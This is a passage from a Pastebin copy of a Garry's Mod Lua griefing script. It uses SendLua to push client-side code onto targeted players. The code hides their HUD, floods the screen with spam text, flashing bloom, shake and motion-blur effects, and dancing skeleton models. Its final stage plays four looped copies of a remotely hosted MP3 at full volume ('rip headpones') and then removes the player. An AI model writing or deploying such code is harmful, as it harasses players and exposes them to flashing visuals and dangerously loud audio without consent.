  472.                 ScrH() /2 +math.random( -8, 8 ) -460,
  473.                 Color( 187, 0, 31, 160 ),
  474.                 TEXT_ALIGN_CENTER,
  475.                 TEXT_ALIGN_CENTER,
  476.                 3,
  477.                 Color( 0, 0, 0, 255 )
  478.             )
  479.  
  480.             draw.SimpleTextOutlined(
  481.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  482.                 "DermaLarge",
  483.                 ScrW() /2 +math.random( -8, 8 ),
  484.                 ScrH() /2 +math.random( -8, 8 ) -500,
  485.                 Color( 153, 0, 187, 160 ),
  486.                 TEXT_ALIGN_CENTER,
  487.                 TEXT_ALIGN_CENTER,
  488.                 3,
  489.                 Color( 0, 0, 0, 255 )
  490.             )
  491.  
  492.             draw.SimpleTextOutlined(
  493.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  494.                 "DermaLarge",
  495.                 ScrW() /2 +math.random( -8, 8 ),
  496.                 ScrH() /2 +math.random( -8, 8 ) -540,
  497.                 Color( 0, 156, 187, 160 ),
  498.                 TEXT_ALIGN_CENTER,
  499.                 TEXT_ALIGN_CENTER,
  500.                 3,
  501.                 Color( 0, 0, 0, 255 )
  502.             )
  503.         end )
  504.  
  505.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  506.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  507.  
  508.         surface.PlaySound( "garrysmod/save_load4.wav" )
  509.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  510.     ]] )
  511. end )
  512.  
  513. --Disco time
  514. lol:PushAction( 10, function( pPlayer )
  515.     local idx = pPlayer:EntIndex()
  516.     timer.Create( "beat".. idx, 0.42, 0, function()
  517.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  518.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  519.     end )
  520.  
  521.  
  522.     lol:SendLua( pPlayer, [[
  523.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  524.         local time = 0
  525.  
  526.         hook.Add( "Think", "wat", function()
  527.             if CurTime() < time then
  528.                 return
  529.             end
  530.  
  531.             time = CurTime() +0.05
  532.             for i = 1, 16 do
  533.                 local part = emitter:Add(
  534.                     "particles/balloon_bit",
  535.                     LocalPlayer():GetPos() +Vector(
  536.                         math.random( -256, 256 ),
  537.                         math.random( -256, 256 ),
  538.                         256
  539.                     )
  540.                 )
  541.                
  542.                 if part then
  543.                     local Size = math.random( 4, 7 )
  544.                    
  545.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  546.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  547.                     part:SetDieTime( 4.5 )
  548.                     part:SetGravity( Vector(40, 0, -250) )
  549.                     part:SetLifeTime( 0 )
  550.                     part:SetStartSize( Size /2 )
  551.                     part:SetEndSize( Size )
  552.                     part:SetCollide( true )
  553.                 end
  554.             end
  555.         end )
  556.     ]] )
  557.  
  558.     lol:SendLua( pPlayer, [[
  559.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  560.             local sinScaler = math.sin( CurTime() )
  561.             DrawBloom(
  562.                 0,
  563.                 3,
  564.                 sinScaler *math.Rand(1, 8),
  565.                 sinScaler *math.Rand(1, 8),
  566.                 6,
  567.                 math.Rand(0.5, 2),
  568.                 math.Rand(0, 0.3),
  569.                 math.Rand(0, 0.3),
  570.                 math.Rand(0.5, 1)
  571.             )
  572.  
  573.             DrawColorModify{
  574.                 ["$pp_colour_addr"] = 0,
  575.                 ["$pp_colour_addg"] = 0,
  576.                 ["$pp_colour_addb"] = 00,
  577.                 ["$pp_colour_brightness" ] = 0,
  578.                 ["$pp_colour_contrast" ] = 1,
  579.                 ["$pp_colour_colour" ] = 1,
  580.                 ["$pp_colour_mulr" ] = 0,
  581.                 ["$pp_colour_mulg" ] = 0,
  582.                 ["$pp_colour_mulb" ] = 1
  583.             }
  584.         end )
  585.  
  586.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  587.         mdl:SetNoDraw( true )
  588.         local posCache, time = {}, 0
  589.  
  590.         hook.Add( "HUDPaint", "dance", function()
  591.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  592.                 local idx = mdl:LookupSequence("taunt_dance")
  593.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  594.                 mdl.SeqStart = CurTime()
  595.                 mdl:ResetSequence( idx )
  596.             end
  597.  
  598.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  599.  
  600.            
  601.             local w, h = 300, 300
  602.             local ang = Angle( 0, 0, 0 )
  603.  
  604.             for i = 1, 32 do
  605.                 if CurTime() > time then
  606.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  607.                 end
  608.                 local x, y = posCache[i][1], posCache[i][2]
  609.  
  610.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  611.                     cam.IgnoreZ( true )
  612.                     render.SuppressEngineLighting( true )
  613.                    
  614.                     render.SetLightingOrigin( mdl:GetPos() )
  615.                     render.ResetModelLighting( 1, 1, 1 )
  616.                     render.SetColorModulation( 0, 0, 1 )
  617.  
  618.                     mdl:DrawModel()
  619.                    
  620.                     render.SuppressEngineLighting( false )
  621.                     cam.IgnoreZ( false )
  622.                 cam.End3D()
  623.             end
  624.  
  625.             if CurTime() > time then
  626.                 time = CurTime() +0.15
  627.             end
  628.         end )
  629.  
  630.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  631.     ]] )
  632. end )
  633.  
  634. --Let the beat drop
  635. lol:PushAction( 54, function( pPlayer )
  636.     lol:SendLua( pPlayer, [[
  637.         hook.Add( "GetMotionBlurValues", "wat", function()
  638.             return 0, 0, 1, math.sin(CurTime() *13)
  639.         end )
  640.  
  641.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  642.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  643.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  644.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  645.         end )
  646.  
  647.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  648.             render.SetMaterial( Material("cable/blue_elec") )
  649.             for i = 1, 32 do
  650.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  651.             end
  652.         end )
  653.  
  654.         timer.Create( "thedrop", 0.42, 0, function()
  655.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  656.         end )
  657.     ]] )
  658. end )
  659.  
  660. --EVIL TIME rip headpones
  661. lol:PushAction( 175, function( pPlayer )
  662.     lol:SendLua( pPlayer, [[
  663.         surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  664.  
  665.         local sounds = {}
  666.         for i = 1, 4 do
  667.             sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  668.                 sounds[#sounds +1] = pChan
  669.             end )
  670.         end
  671.  
  672.         timer.Create( "asdf", 1, 0, function()
  673.             if #sounds ~= 4 then return end
  674.             timer.Destroy( "asdf" )
  675.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  676.         end )
  677.  
  678.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  679.     ]] )
  680.  
  681.     pPlayer:Remove()
  682. end )
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top